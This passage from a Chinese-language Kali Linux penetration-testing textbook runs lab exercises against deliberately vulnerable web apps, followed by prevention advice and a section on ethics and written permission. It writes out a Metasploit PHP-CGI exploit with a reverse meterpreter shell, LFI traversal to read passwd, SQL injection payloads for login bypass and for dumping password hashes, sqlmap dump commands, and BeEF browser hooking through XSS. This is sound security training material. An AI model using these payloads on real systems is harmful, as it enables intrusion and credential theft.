  1. 在 Metasploit 中启用multi/handler模块,设置反向 TCP 有效载荷,并使用以下命令执行利用:

请确保检查 Kali Linux 机器的 IP 地址,并相应地调整LHOST参数。

  1. 在服务器上执行了img.php有效载荷并在 Metasploit 上启用了multi/handler后,我们能够在攻击者机器上接收到一个反向 shell,如下面的屏幕截图所示:

使用meterpreter shell,您现在可以在受损系统上执行进一步的操作。

在接下来的部分,我们将演示如何利用代码执行漏洞。

利用代码执行漏洞

当设备容易受到代码执行攻击时,攻击者或渗透测试人员被允许在目标服务器上远程执行代码。此外,渗透测试人员将能够检索存储在目标上的源代码。

为了完成这个练习,我们将使用以下拓扑结构:

要开始执行代码执行利用,请按照以下步骤进行:

  1. 我们将尝试发现目标是否容易受到CVE-2012-1823的攻击。要发现目标是否容易受到攻击,请使用以下命令与nmap
nmap -p80 --script http-vuln-cve2012-1823 <target IP address> 

Nmap 可能并不总是返回结果,表明目标存在漏洞。然而,这不应该阻止您确定目标是否容易受到攻击。

  1. 接下来,在Metasploit中,使用search命令查找一个适合的利用模块,以帮助我们利用目标上的漏洞:

  1. 接下来,使用以下命令使用模块并设置远程目标:
use exploit/multi/http/php_cgi_arg_injection set RHOSTS 10.10.10.11
  1. 此外,以下命令允许您使用适当的有效载荷在利用后建立远程 shell 并设置您的本地主机 IP 地址:
set payload php/meterpreter/reverse_tcp set LHOST 10.10.10.10
  1. 使用exploit命令对目标发动攻击。以下截图显示了攻击成功的目标:

有效载荷已发送到受害者,并且我们有了一个反向 shell。完成了本节后,您现在可以发现并在目标服务器上执行代码执行。

在下一节中,我们将演示如何利用 LFI 漏洞。

利用 LFI 漏洞

易受 LFI 安全漏洞影响的服务器允许攻击者通过 Web 浏览器中的 URL 显示文件的内容。在 LFI 攻击中,渗透测试人员可以使用..//从其目录中读取任何文件的内容。

要开始,请返回到OWASP BWA中的Damn Vulnerable Web ApplicationDVWA)Web 界面:

  1. 在 DVWA Web 界面上,点击左侧菜单上的文件包含:

  1. 通过重复使用../几次并插入passwd文件的目录,我们能够查看目标 Web 服务器上passwd文件的内容:

这种类型的攻击测试系统的目录遍历漏洞。目录遍历允许攻击者访问受限制的位置和文件,并在目标 Web 服务器上执行命令。这个攻击者可以通过在 URL 中简单地使用点-点-斜杠(../)语法来操纵变量。

到目前为止,我们已经完成了一些练习,以利用目标系统的各种弱点。在下一节中,我们将看看如何预防和减轻安全漏洞。

预防漏洞

以下是可以用来防止 Web 服务器和 Web 应用程序攻击并纠正此类漏洞的对策:

  • 对操作系统和 Web 应用程序应用最新(稳定)的补丁和更新。

  • 在 Web 服务器上禁用任何不必要的服务和协议。

  • 尽可能使用安全协议,例如支持数据加密。

  • 如果使用不安全的协议,实施安全控件以确保它们不被利用。

  • 如果 Web 应用程序没有使用 WebDAV,则禁用 WebDAV。

  • 删除所有未使用的模块和应用程序。

  • 禁用所有未使用的默认帐户。

  • 更改默认密码。

  • 实施安全策略以防止暴力破解攻击,例如对于登录尝试失败的警戒策略。

  • 禁用目录列表的服务。

  • 监视和检查日志以发现任何可疑活动。

  • 从受信任的证书颁发机构CA)实施数字证书,并确保数字证书始终是最新的。

  • 确保数据输入验证和净化已实施并定期测试。

  • 实施Web 应用程序防火墙WAF)。

这些项目只是 IT 专业人员可以采用的预防措施的摘要;然而,由于每天都会出现新的更复杂的威胁和攻击,因此需要进行额外的研究。

总结

在本章的课程中,我们已经讨论了我们可以使用的技术,以确定 Web 服务器上的 Web 技术,并对目标 Web 应用程序执行真实世界的模拟攻击。

现在,您可以发现目标 Web 服务器上使用的基础 Web 技术,并进行进一步的枚举,以发现单个 Web 服务器上托管的其他网站。此外,通过完成本章的练习,您具备了发现目标服务器上任何敏感文件和目录的技能,并进行网站渗透测试以利用文件上传和 LFI 漏洞。

希望本章对您的学习和职业有所帮助和启发。在下一章,第十五章,网站渗透测试-获取访问权限,您将学习如何使用高级 Web 应用程序渗透测试。

问题

  1. 有哪些 Web 服务器平台?

  2. 可以用什么工具来发现 Web 服务器上的隐藏文件?

  3. 什么 HTTP 状态代码表示成功?

  4. 哪种类型的攻击允许攻击者从受害者的 Web 浏览器中检索存储的数据?

  5. 哪种类型的攻击允许恶意用户操纵数据库?

进一步阅读

以下是一些额外的阅读资源:

第十五章:网站渗透测试 - 获取访问权限

在本章中,我们将比迄今为止更深入地探讨网站和数据库渗透测试。作为渗透测试人员,我们需要根据规则进行模拟对目标组织系统和网络的真实攻击。然而,虽然能够进行信息收集,如侦察和扫描网站,是很好的,但真正的挑战在于何时突破。准备好渗透入敌人基地是很好的,但如果你只是站在远处什么也不做,那一切准备都将毫无意义!

在本章中,我们将探讨如何妥协和获取对 Web 服务器和 Web 应用程序的访问权限。此外,您还将学习一些实际的技术和方法来发现漏洞并检索数据。

在本章中,我们将涵盖以下主题:

  • 探索 SQL 注入的危险

  • SQL 注入漏洞和利用

  • 跨站脚本漏洞

  • 自动发现漏洞

技术要求

以下是本章的技术要求:

探索 SQL 注入的危险

如前一章所述(第十四章,进行网站渗透测试),SQL 注入SQLi)允许攻击者将一系列恶意的 SQL 代码/查询直接插入后端数据库服务器。这种漏洞允许攻击者通过向数据库中添加、删除、修改和检索条目来操纵记录。

在本节中,我们将涵盖以下主题:

  • 来自 SQL 注入漏洞的危险

  • 利用 SQL 注入漏洞绕过登录

现在,让我们详细了解 SQL 注入的危险。

来自 SQL 注入漏洞的危险

成功的 SQL 注入攻击可能会导致以下情况:

  • 身份验证绕过:允许用户在没有有效凭据或权限的情况下访问系统

  • 信息泄露:允许用户获取敏感信息

  • 数据完整性受损:允许用户操纵数据库中的数据

  • 数据可用性受损:阻止合法用户访问系统上的数据

  • 在受损系统上远程执行代码:允许恶意用户远程在系统上运行恶意代码

接下来,让我们看看如何利用 SQL 注入绕过登录。

利用 SQL 注入绕过登录

在这个练习中,我们将使用 OWASP BWA 虚拟机来演示如何利用 SQL 注入绕过身份验证。首先,启动 OWASP BWA 虚拟机。几分钟后,虚拟机将提供其 IP 地址。

前往您的 Kali Linux(攻击者)机器,并按照以下步骤操作:

  1. 在 Kali Linux 的 Web 浏览器中输入 OWASP BWA 虚拟机的 IP 地址。

  2. 点击OWASP Mutillidae II应用程序,如下所示:

  1. 导航到以下页面:OWASP 2013 | A2 - Broken Authentication and Session Management | Authentication Bypass | Via SQL Injection | Login:

  1. 用户名字段中输入以下任意一个字符:
  • **'**

  • **/**

  • **--**

  • **\**

  • **.**

如果登录页面出现错误,请检查服务器生成的消息。

如果网站的登录页面没有出现错误,请尝试使用 true 或 false 语句,如1=1 --1=0 --

当我们运行此命令时,类似以下错误应该出现。如果您仔细观察,可以看到在 Web 服务器应用程序和数据库之间使用的查询,SELECT username FROM accounts WHERE username= ' ' ' ;,如下所示:

可以从 SQL 查询中确定以下内容:

    • SELECT语句用于从关系数据库中检索信息。因此,该语句以SELECT表中的username列开始。
  • FROM语句用于指定表的名称。在语句中,我们正在指定accounts表。

  • WHERE语句用于指定表中的字段。查询指示具有值等于'(单引号)的字段。=(等于)参数允许我们确保在查询中进行特定匹配。

  • ;用于结束 SQL 语句。

  • 组合后,该语句如下:查询accounts表中的username列,并搜索任何用户名为**'**(单引号)的用户名。

INSERT命令用于添加数据。UPDATE用于更新数据,DELETEDROP用于删除数据,MERGE用于在表和/或数据库中合并数据。

  1. 让我们尝试组合一些语句。在Username字段中使用' or 1=1 ----后面有一个空格),然后单击Login

该语句选择表中的第一条记录并返回它。在检查登录状态后,我们可以看到我们现在以admin的身份登录。这意味着第一条记录是admin

该语句选择表中的第一条记录并返回值,即admin

  1. 让我们尝试另一个用户并稍微修改我们的代码。我们将尝试以用户john的身份登录。将用户名字段插入john,将以下 SQL 命令插入密码字段:
' or (1=1 and username = 'john') --

确保双破折号(--)后有一个空格,并点击Login执行命令。以下截图显示我们能够成功以用户john的身份登录:

这些是您可以使用的一些技术,以绕过对 Web 服务器进行 SQL 注入攻击的身份验证。在下一节中,我们将介绍 SQL 注入漏洞和利用。

SQL 注入漏洞和利用

在本节中,我们将使用 SQL 注入来探索以下漏洞和利用:

  • 使用 GET 发现 SQL 注入

  • 读取数据库信息

  • 查找数据库表

  • 提取诸如密码之类的敏感数据

要开始使用 GET 发现 SQL 注入,请使用以下说明:

  1. 打开 OWASP BWA 虚拟机。几分钟后,虚拟机将提供其 IP 地址。

  2. 前往您的 Kali Linux(攻击者)机器,并在 Kali Linux 的 Web 浏览器中输入 OWASP BWA 虚拟机的 IP 地址。

  3. 点击这里的bWAPP应用程序:

  1. 使用bee作为用户名,使用bug作为密码登录应用程序。然后点击登录:

  1. 选择SQL 注入(搜索/GET)选项,并单击Hack继续:

  1. 将出现一个搜索框和表。当您在搜索字段中输入数据时,将使用 GET 请求从 SQL 数据库中检索信息并在网页上显示它。现在,让我们搜索包含字符串war的所有电影:

免责声明:前面截图中可见的信息是从 Metasploitable 虚拟机中的本地存储的数据库中检索到的;具体来说,它位于 bWAPP 易受攻击的 Web 应用程序部分。此外,使用的虚拟机位于隔离的虚拟网络中。

仔细观察网页浏览器中的 URL,我们可以看到sqli_1.php?title=war&action=search被用来从数据库返回/显示结果给我们。

  1. 如果我们在搜索字段中使用1'字符,当使用sqli_1.php?title=1'&action=search时,我们将得到以下错误:

这个错误表明目标容易受到 SQL 注入攻击。错误表明我们在搜索字段中插入的语法存在问题。此外,错误显示数据库是一个 MySQL 服务器。这种泄露错误不应该以这种方式向用户公开。数据库错误应该只能被数据库管理员/开发人员或其他负责人访问。这表明 Web 应用程序和数据库服务器之间存在配置错误。

  1. 将 URL 调整为http://192.168.56.101/bWAPP/sqli_1.php?title=1' order by 7-- -,我们得到以下响应:

输出表明至少有七个表。我们通过在 URL 中使用order by 7-- -来得知这一点。请注意,在下一步中,当我们调整 URL 以检查额外的表时,我们会收到一个错误。

  1. 让我们通过以下 URL 检查是否有八个表:http://192.168.56.101/bWAPP/sqli_1.php?title=1' order by 8-- -。正如我们所看到的,返回了一个错误消息:

因此,我们可以确认我们有七个表。

  1. 现在,我们可以将 URL 调整为http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select 1,2,3,4,5,6,7-- -。下面的截图显示了结果。Web 应用程序(bWAPP)在同一行中返回值2354。因此,我们可以确定表2345容易受到攻击:

  1. 要检查数据库版本,我们可以在以下 URL 中将@@version替换为一个有漏洞的表,得到http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select 1, @@version,3,4,5,6,7-- -

  1. 现在我们可以尝试通过以下 URL 获取表名http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select 1,table_name,3,4,5,6,7 from information_schema.tables-- -

现在,我们已经获得了数据库中的所有表。以下表是由开发人员创建的:

  1. 我们现在将尝试从users表中检索用户凭据。首先,我们需要从用户表中获取列的名称。您可能会遇到 PHP 魔术方法的一个小问题:错误不允许我们在 PHP 魔术方法中插入/查询字符串。例如,如果我们在 URL 中插入users字符串,那么我们将无法从users表中检索信息,这意味着数据库不会返回任何列。为了绕过这个错误,将users字符串转换为 ASCII。users的 ASCII 值是117 115 101 114 115

  2. 现在,我们可以继续仅从users表中检索列。我们可以使用以下 URL:http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name=char(117,115,101,114,115)-- -

Char()允许 SQL 注入在 MySQL 中插入语句而不使用双引号("")。

  1. 使用http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select 1,login,3,4,5,6,7 from users-- -,我们可以查看users表中的email列,如步骤 14中所述:

  1. 要检索密码,请将 URL 调整为http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select 1,password,3,4,5,6,7 from users-- -

  1. 现在,我们有密码的哈希值。我们可以使用在线或离线哈希标识符来确定哈希的类型:

  1. 此外,您可以使用在线哈希解码器,如CrackStationcrackstation.net/)来执行解密:

通过在 Web 浏览器的 URL 中操纵 SQL 语句,我们成功地从 SQL 服务器中检索了用户凭据。

在接下来的部分中,我们将学习如何在目标服务器上使用 POST 检测 SQL 注入。

发现 POST 中的 SQL 注入

在这个练习中,我们将尝试发现是否可以使用 POST 进行 SQL 注入。POST方法用于向 Web 服务器发送数据。这种方法不像GET方法,后者用于检索数据或资源。我们将使用以下拓扑来完成这个练习:

要开始使用 POST 检测 SQL 注入,请使用以下说明:

  1. 在您的 Kali Linux 机器上启用 Burp 代理,并确认您的 Web 浏览器代理设置是否正确。如果您不确定,请参考第七章,使用漏洞扫描器,特别是Burp Suite部分,其中包含了配置 Burp Suite 在 Kali Linux 机器上的所有细节。

  2. 确保在 Burp Suite 上启用拦截,如下所示:

  1. 在 Kali Linux 上的 Web 浏览器中输入 OWASP BWA IP 地址。

确保在 Burp Suite 上定期单击转发按钮,以在 Kali Linux Web 浏览器和 OWASP BWA Web 服务器之间转发数据。

  1. 单击bWAPP,如下截屏所示。使用凭据bee(用户名)和bug(密码)登录bWAPP门户。请注意,这些是bWAPP虚拟机的默认用户凭据:

  1. 在右上角,使用下拉菜单选择SQL 注入(搜索/POST),然后单击Hack加载漏洞:

  1. 在搜索字段中输入一个词并单击搜索提交(发布)数据:

数据库将通过声明是否找到电影来做出响应。

  1. 在 Burp Suite 中,选择目标|站点地图选项卡,查看 Kali Linux 上的 Web 浏览器与 OWASP BWA Web 服务器之间的所有GETPOST消息。

  2. 选择最近的POST消息,其中应包含您刚刚执行的搜索:

以下显示了此POST消息的内容:

  1. Raw内容窗口中的任何位置右键单击,并选择保存项目选项。在 Kali Linux 的桌面上将文件保存为postdata.txt

  2. 文件保存成功后,让我们使用 SQLmap 在目标服务器上发现任何 POST 中的 SQL 注入(SQLi)漏洞。使用以下命令执行此任务:

sqlmap –r /root/Desktop/postdata.txt
  1. SQLmap 将尝试检查任何/所有POST参数,并确定应用程序是否存在漏洞。以下显示了一些可能的漏洞:

在前面的屏幕截图中,SQLmap 能够注意到'title'参数可能是易受攻击的,并且数据库也可能是 MySQL 平台。此外,以下是找到的一个可注入参数的示例:

前面的屏幕截图显示,SQLmap 已确定'title'参数也容易受到 SQL 注入攻击。最后,以下是 SQLmap 有效载荷:

在这里,SQLmap 为我们提供了一些关于已经测试过的内容、测试方法和结果的总结。通过 SQLmap 给出的信息,我们知道目标网站在 POST 中对 SQLi 攻击是易受攻击的,并且如何利用特定有效载荷来利用弱点。

完成了这个练习后,您现在可以使用 Burp Suite 和 SQLmap 来发现 POST 消息中的 SQL 注入漏洞。

在下一节中,您将学习如何使用 SQLmap 工具来发现 SQL 注入。

使用 SQLmap 检测 SQL 注入并提取数据

SQLmap 是一种自动 SQL 注入工具,允许渗透测试人员发现漏洞,执行利用攻击,操纵记录,并从数据库中检索数据。

要使用 SQLmap 执行扫描,请使用以下命令:

sqlmap –u "http://website_URL_here"

此外,以下参数可用于执行各种任务:

  • --dbms=database_type:执行后端暴力攻击。例如--dbms=mysql

  • --current-user:检索当前数据库用户。

  • --passwords:枚举密码哈希。

  • --tables:枚举数据库中的表。

  • --columns:枚举表中的列。

  • --dump:转储数据表条目。

在下一节中,我们将讨论预防 SQL 注入的方法。

防止 SQL 注入

在本节中,我们将简要介绍一些重要的技术,以最小化和预防系统上的 SQL 注入攻击。我们还将以简单的格式查看最佳实践。

以下技术可用于防止 SQL 注入攻击:

  • 以最低权限运行数据库服务。

  • 使用Web 应用程序防火墙WAF)或 IDS/IPS 监视所有数据库流量。

  • 清理数据。

  • 过滤所有客户端数据。

  • 在用户端抑制错误消息。

  • 使用自定义错误消息而不是默认消息。

  • 使用安全 API。

  • 定期对数据库服务器进行黑盒渗透测试。

  • 通过对用户输入的参数集合执行类型和长度检查;这可以防止代码执行。

在下一节中,我们将学习跨站脚本XSS)漏洞。

跨站脚本漏洞

如前一章所述,XSS 允许攻击者将客户端脚本注入到其他用户查看的网页中。因此,当一个毫不知情的用户访问包含恶意脚本的网页时,受害者的浏览器将自动在后台执行这些恶意脚本。

在本节中,我们将通过以下主题来发现各种 XSS 漏洞:

  • 理解 XSS

  • 发现反射型 XSS

  • 发现存储型 XSS

  • 利用 XSS-将易受攻击的页面访问者连接到 BeEF

在下一节中,我们将学习什么是 XSS。

理解 XSS

如前一章所述,XSS 攻击是通过利用动态创建的网页中的漏洞来完成的。这允许攻击者将客户端脚本注入到其他用户查看的网页中。当一个毫不知情的用户访问包含 XSS 的网页时,用户的浏览器将开始在后台执行恶意脚本,而受害者并不知情。

在接下来的练习中,我们将在 OWASP BWA 虚拟机上同时使用WebGoatbWAPP

WebGoat的用户名/密码是guest/guestbWAPP的用户名/密码是bee/bug

接下来,我们将看一下反射型 XSS。

发现反射型 XSS

在反射型 XSS 攻击中,数据被插入,然后反射回到网页上。在这个练习中,我们将走过发现目标服务器上反射型 XSS 漏洞的过程。

要完成此任务,请执行以下说明:

  1. 导航到bWAPP应用程序并登录。

  2. 选择跨站脚本 - 反射(GET),然后单击Hack以启用此漏洞页面:

  1. 在表单中不输入任何细节,单击Go。查看网页浏览器地址栏中的 URL,您可以看到 URL 可以被编辑:

  1. 要测试字段是否容易受到反射型 XSS 攻击,我们可以在名字字段中插入自定义 JavaScript。插入以下 JavaScript:
<script>alert("Testing Reflected XSS")

字段中,使用以下命令关闭脚本:

</script>

以下截图显示了您需要做的事情:

  1. 单击Go在服务器上执行脚本。将出现以下弹出窗口:

这表明脚本在目标服务器上无任何问题地运行;因此,服务器容易受到 XSS 攻击。

在接下来的部分,我们将看一下存储的 XSS。

发现存储的 XSS

在存储的 XSS 中,渗透测试人员注入恶意代码,该代码将存储在目标数据库中。

在这个练习中,我们将走过发现目标服务器上存储的 XSS 漏洞的过程。

要完成此任务,请使用以下说明:

  1. 导航到 bWAPP 应用程序并登录。

  2. 选择跨站脚本 - 存储(博客),然后单击Hack以启用此漏洞页面:

  1. 您可以在文本字段中输入任何消息,然后单击提交。输入的文本现在将存储在数据库中,就像在线留言板、论坛或带有评论部分的网站一样:

此外,我们可以看到表格、字段和列。

  1. 我们可以在文本字段中输入以下脚本,然后单击提交
<script>alert("Testing Stored XSS")</script>
  1. 提交脚本后,您将收到以下弹出窗口,验证它成功运行:

看着表格,有第二行没有任何实际条目:

这个新条目反映了我们的脚本已被插入并存储在数据库中。如果有人打开这个网页,脚本将自动执行。

在接下来的部分中,我们将演示如何利用浏览器利用框架BeEF)来利用 XSS 漏洞。

利用 XSS – 钩住易受攻击页面的访客到 BeEF

BeEF 是一种安全审计工具,由渗透测试人员用来评估系统和网络的安全状况,并发现漏洞。它允许您钩住客户端浏览器并利用它。钩住是指让受害者点击包含 JavaScript 代码的网页的过程。然后,受害者的网页浏览器会处理 JavaScript 代码,并将浏览器绑定到 Kali Linux 上的 BeEF 服务器。

对于这个练习,我们将使用以下拓扑结构:

让我们开始使用 BeEF 来利用 XSS 漏洞:

  1. 要打开 BeEF,转到应用程序 | 08 – Exploitation Tools | beef xss framework。BeEF 服务将启动并显示以下细节以访问 BeEF 界面:

WEB UI 和 hook URL 很重要。 JavaScript hook 通常嵌入到发送给受害者的网页中。一旦访问,JavaScript 将在受害者的浏览器上执行,并创建到 BeEF 服务器的 hook。 hook 脚本中使用的 IP 地址是 BeEF 服务器的 IP 地址。在我们的实验室中,它是 Kali Linux(攻击者)机器。

  1. Web 浏览器将自动打开到 BeEF 登录门户。如果没有打开,请使用http://127.0.0.1:3000/ui/panel

用户名是beef,并且在最初启动 BeEF 时将设置密码。

  1. 在 Kali Linux 上启动 Apache Web 服务:
service apache2 start
  1. 编辑位于 Web 服务器目录中的网页。
cd /var/www/html nano index.html
  1. 插入如下所示的 HTML 页面头部中的代码:

IP 地址属于运行 BeEF 服务器的 Kali Linux 机器。

  1. 在您的 Windows 机器上,打开 Web 浏览器并插入 Kali Linux 机器的 IP 地址:

  1. 返回到您的 Kali Linux 机器。您现在有一个被钩住的浏览器。单击被钩住的浏览器:

  1. 单击命令选项卡。在这里,您可以在受害者的 Web 浏览器上执行操作。让我们在客户端显示一个通知。

  2. 单击命令选项卡|社会工程学|伪造通知栏:

最右侧的列将显示攻击的描述。准备好后,单击执行以启动它。

  1. 现在,转到 Windows 机器。您会看到 Web 浏览器中出现一个伪造的通知栏:

BeEF 允许您对受害者的浏览器界面执行客户端攻击。

在本节中,我们介绍了用于发现目标上的 XSS 漏洞的各种方法和技术,并使用 BeEF 执行了 XSS 利用。在下一节中,我们将执行自动 Web 漏洞扫描。

自动发现漏洞

在本节中,我们将介绍使用工具来帮助我们自动发现 Web 应用程序和服务器漏洞。将使用 Burp Suite、Acunetix 和 OWASP ZAP 执行漏洞扫描。

Burp Suite

在第七章中,使用漏洞扫描器,我们概述了使用 Burp Suite 的好处和功能。在本节中,我们将进一步演示如何使用此工具执行自动漏洞发现。

我们可以使用 Burp Suite 对特定页面或网站执行自动扫描。在开始之前,请确保您已配置以下设置:

  • 在攻击者机器(Kali Linux)上配置 Web 浏览器以与 Burp Suite 代理一起使用。如果您在此任务中遇到困难,请重新查看第七章,使用漏洞扫描器

  • 确保您打开 OWASP BWA 虚拟机并捕获其 IP 地址。

一旦这些配置就位,我们可以开始采取以下步骤:

  1. 使用 Kali Linux 机器上的 Web 浏览器导航到 OWASP BWA 虚拟机中的DVWA

  2. 单击SQL 注入如下所示:

  1. 打开 Burp Suite 并确保拦截已打开。

  2. 在 DVWA 网页上,单击提交按钮将 HTTP 请求发送到服务器:

  1. 在 Burp Suite 中,您应该能够看到 HTTP 请求。右键单击上下文窗口中的任何位置,然后选择执行主动扫描

这将允许 Burp Suite 对目标网页执行自动扫描,以发现任何 Web 漏洞。

完成使用 Burp Suite 进行扫描后的结果示例如下:

选择找到的每个问题将为您提供特定漏洞的详细信息。

在下一节中,我们将学习如何使用 Acunetix 发现 Web 漏洞。

Acunetix

Acunetix 是业内最受欢迎和认可的 Web 应用程序漏洞扫描器之一。目前,它是财富 500 强公司中使用最广泛的漏洞扫描器之一。Acunetix 旨在通过扫描目标网站或 Web 服务器交付先进的 XSS 和 SQL 注入攻击。

要开始使用 Acunetix,请遵循以下步骤:

  1. 转到www.acunetix.com/vulnerability-scanner/download/并注册试用版本。Acunetix 是一款商业产品,但我们可以获得试用版本进行练习。

  2. 完成注册后,您将看到以下屏幕:

下载 Linux 版本,因为我们将在攻击者机器 Kali Linux 上使用它。

  1. 下载acunetix_trial.sh文件后,使用chmod +x acunetix_trial.sh命令为您的本地用户帐户应用可执行权限。要开始安装,请使用./acunetix_trial.sh命令,如下所示:

  1. 在命令行界面上,阅读并接受最终用户许可协议EULA)。

  2. 在 Kali Linux 中打开您的 Web 浏览器,并输入以下地址https://kali:13443/,以访问 Acunetix 用户界面。使用在设置过程中创建的用户帐户登录:

  1. 要开始新的扫描,请单击创建新目标添加目标,如下所示:

  1. 添加目标弹出窗口将打开,允许您指定目标:

  1. 添加目标后,您将看到自定义扫描选项:

现在,我们将保留所有选项的默认设置。

  1. 指定扫描类型和报告选项:

Acunetix 允许您为您的业务需求生成以下类型的报告:

    • 受影响的项目
  • 开发人员

  • 执行

  • 快速

  • 合规性报告

  • CWE 2011

  • HIPAA

  • ISO 27001

  • NIST SP800 53

  • OWASP Top 10 2013

  • OWASP Top 10 2017

  • PCI SDD 3.2

  • 萨班斯-奥克斯利法案

  • STIG DISA

  • WASC 威胁分类

  1. 当您准备好时,请在目标上启动扫描。

扫描完成后,在主 Acunetix 仪表板上提供了摘要,如下所示:

您可以快速查看扫描的持续时间和发现的任何高风险漏洞。

  1. 要查看找到的漏洞的详细列表,请单击漏洞选项卡,并选择其中一个 Web 漏洞:

要创建报告,请单击生成报告。报告向导将允许您根据 Web 应用程序渗透测试的目标指定最合适的报告类型。生成报告后,您可以将文件下载到桌面上。以下是执行报告的 PDF 版本:

Acunetix 绝对是您渗透测试工具箱中必不可少的工具。它将允许您快速对任何 Web 应用程序进行黑盒测试,并以易于阅读和理解的报告呈现发现结果。

在下一节中,我们将学习如何使用 OWASP ZAP 执行 Web 漏洞评估。

OWASP ZAP

OWASP Zed Attack ProxyZAP)项目是由 OWASP 创建的免费安全工具,用于发现 Web 服务器和应用程序上的漏洞,具有简单易用的界面。

OWASP ZAP 预先安装在 Kali Linux 中。首先,让我们对目标 OWASP BWA 虚拟机执行 Web 漏洞扫描。

要开始使用 OWASP ZAP,请执行以下步骤:

  1. 打开 OWASP ZAP,然后导航到应用程序 | 03-Web 应用程序分析 | OWASP-ZAP。在界面上,点击自动扫描,如下所示:

  1. 输入 OWASP BWA 虚拟机的 IP 地址,然后单击“攻击”以开始安全扫描:

在扫描阶段期间,OWASP ZAP 将对目标执行蜘蛛爬行。蜘蛛爬行是一种技术,其中 Web 安全扫描程序检测隐藏的目录并尝试访问它们(爬行):

  1. 扫描完成后,单击“警报”选项卡,以查看在目标上发现的所有基于 Web 的漏洞及其位置:

在选择漏洞后,OWASP 将显示从目标服务器返回的 HTTP 头和正文:

如果您仔细观察前面的屏幕截图,您会发现 OWASP ZAP 已经突出显示了 Web 编码的受影响区域。

  1. 安全扫描完成后,您可以创建和导出报告。要做到这一点,请单击报告 | 生成 HTML 报告。该应用程序将允许您将报告保存到您的桌面。以下是使用 OWASP ZAP 创建的样本报告:

另外,OWASP ZAP 允许您根据您的需求以多种格式生成报告。一定要探索这个令人惊叹的工具的其他功能。

摘要

完成本章后,您现在可以执行 Web 应用程序渗透测试,使用 SQL 注入攻击绕过登录,查找数据库中的表并检索用户凭据,对 Web 应用程序执行各种类型的 XSS 攻击,并成功地使用 BeEF 启动客户端攻击。

我希望本章对你的学习和职业有所帮助。在下一章中,您将学习有关渗透测试最佳实践的知识。

问题

以下是基于本章涵盖的主题的一些问题:

  1. 用于指定数据库中的表的 SQL 语句是什么?

  2. 如何在 SQL 中关闭语句?

  3. 如何在数据库中添加新记录?

  4. 什么工具可以执行客户端攻击?

进一步阅读

第十六章:最佳实践

首先,我个人想要恭喜你完成了这本书!你已经在网络安全方面获得了一些了不起的技能,特别是在渗透测试领域,使用了最流行的渗透测试 Linux 发行版之一:Kali Linux。在本书中,我们着重关注了成为渗透测试人员/道德黑客的技术和实际方面。

然而,还有渗透测试的最佳实践需要涵盖。了解最佳实践将帮助你在商业世界中提高自己。通过遵循推荐的程序,你将能够有效地工作并以高效的方式获得最佳结果。

在本章中,我们将涵盖以下话题:

  • 渗透测试人员的指南

  • Web 应用程序安全蓝图和清单

  • 网站和网络清单

技术要求

本章没有正式的技术要求。

渗透测试人员的指南

作为一个具有黑客技能的人,你必须意识到道德和犯罪活动之间的界限。请记住,使用计算系统执行任何侵入性行为以对他人或组织造成伤害是非法的。因此,渗透测试人员必须遵循行为准则,以确保他们始终在法律的正确一边。

在本节的其余部分,我们将涵盖以下关键点:

  • 获得书面许可

  • 做道德的事

  • 渗透测试合同

  • 参与规则RoE

  • 额外的技巧和窍门

现在让我们详细看看这些话题。

获得书面许可

在对目标组织进行渗透测试之前,请确保你有来自该组织的书面许可。如果需要从其他机构获得额外许可,请确保你获得所有法律许可文件。拥有法律上的书面许可就像作为渗透测试人员拥有一张免于入狱的卡一样。渗透测试人员执行的任务涉及对目标组织进行模拟真实世界的网络攻击;这意味着通过任何可能的方式实际入侵他们的网络。一些攻击可能非常侵入性,并可能造成损害或网络中断;书面许可用于在法律上保护自己。

做道德的事

作为行业中的专业人士,在你的所有行为中始终要做到道德。在你练习渗透测试技能的过程中,我相信你已经意识到成为恶意黑客和渗透测试人员之间有一条细微的界限。主要区别在于渗透测试人员在执行任何攻击之前获得了合法许可,并且目标是帮助组织改善其安全状况并减少实际黑客可能利用的攻击面。做道德就是做正确的事情并坚持道德原则。

渗透测试合同

作为行业中的新兴专业人士,请确保你有一份经过律师审核和验证的渗透测试合同,其中包括保密保密协议NDA)。这是为了确保客户(目标组织)的信息得到保护,并且你(渗透测试人员)不会在没有法律要求的情况下透露客户的任何信息。此外,保密协议建立了客户和你之间的信任,因为许多组织不希望他们的漏洞被他人知晓。

如果在与新客户的商务会议中,他们询问您之前进行的渗透测试和客户信息,请不要透露任何细节。这将违反 NDA,该协议保护您的客户和自己,并建立信任。但是,您可以简单地向新潜在客户概述您可以为其组织做些什么,可以进行的测试类型以及在测试阶段可能使用的一些工具。

参与规则

在与客户(目标组织)的商务会议期间,确保您和客户在实际渗透测试之前了解 RoE。 RoE 只是由服务提供商(渗透测试人员)创建的文件,概述了应进行的渗透测试类型以及其他一些具体内容。这些包括要测试的网络区域,以及网络上的目标,如服务器、网络设备和工作站。简而言之,RoE 定义了应如何进行渗透测试,并指示与目标组织相关的任何边界。

确保在目标组织内部为紧急情况获取关键联系人的联系信息。作为渗透测试人员,可能会出现危机,您可能需要联系某人寻求帮助,例如如果您在工作时间之后在建筑物内进行测试。

在进行渗透测试时,如果发现目标组织系统或网络上有侵犯人权或非法活动的迹象,立即停止并向当地当局(警察)报告。如果发现网络基础设施存在安全漏洞,请立即停止并向组织内的权威人士和/或当地当局报告。作为渗透测试人员,您需要有良好的道德观念,遵守法律;人权和安全永远是第一位的,所有非法活动都应报告给必要的当局。

额外的提示和技巧

在对目标组织的网络运行任何渗透测试工具之前,始终在实验室环境中测试它们,以确定它们是否使用大量网络带宽,以及确定它们产生的噪音级别。如果工具使用大量带宽,则在网络速度较慢的目标组织上使用该工具是没有意义的。该工具可能会消耗网络段上的所有带宽,导致网络瓶颈;这是不好的。

使用漏洞扫描程序来帮助执行和自动化定期网络扫描。漏洞扫描程序可以帮助组织满足合规性和标准化。像 Nessus(www.tenable.com)和 Nexpose(www.rapid7.com)这样的工具是网络安全行业内有声誉的漏洞扫描程序和管理工具。

此外,了解不同的操作系统,如 Windows、Linux 和 macOS。将一些网络安全主题作为学习的一部分。了解网络安全和企业网络将有助于您更轻松地映射目标网络并绕过网络安全设备。

在下一节中,我们将看一下 Web 应用程序安全蓝图和清单。

Web 应用程序安全蓝图和清单

